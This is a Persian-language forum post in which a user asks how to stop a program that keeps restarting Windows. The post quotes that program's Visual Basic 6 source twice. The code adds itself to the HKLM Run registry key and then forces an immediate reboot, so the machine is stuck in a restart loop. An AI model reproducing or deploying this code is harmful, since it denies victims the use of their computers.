vB.N3T
دوشنبه 12 مهر 1389, 18:36 عصر
[B]سلام دوستان برای غیر فعال کردن این کد باید چه دستوری رو تو run بزنم . این میاد ویندور رو ریست میکنه رفته تو استارت اپ البته زمانشو یه 200 تغیر دادم... ولی دستوری که تو ران میزنی غیر فعال میشه رو یادم رفته
Private Sub Command1_Click()
Shell "shutdown -r -t 0"
End Sub
Private Sub Form_Load()
Dim Startup_key As String
Startup_key = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\"
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Shell "shutdown -r -t 0"
End Sub
Private Sub Command1_Click()
Shell "shutdown -r -t 0"
End Sub
Private Sub Form_Load()
Dim Startup_key As String
Startup_key = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\"
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Shell "shutdown -r -t 0"
End Sub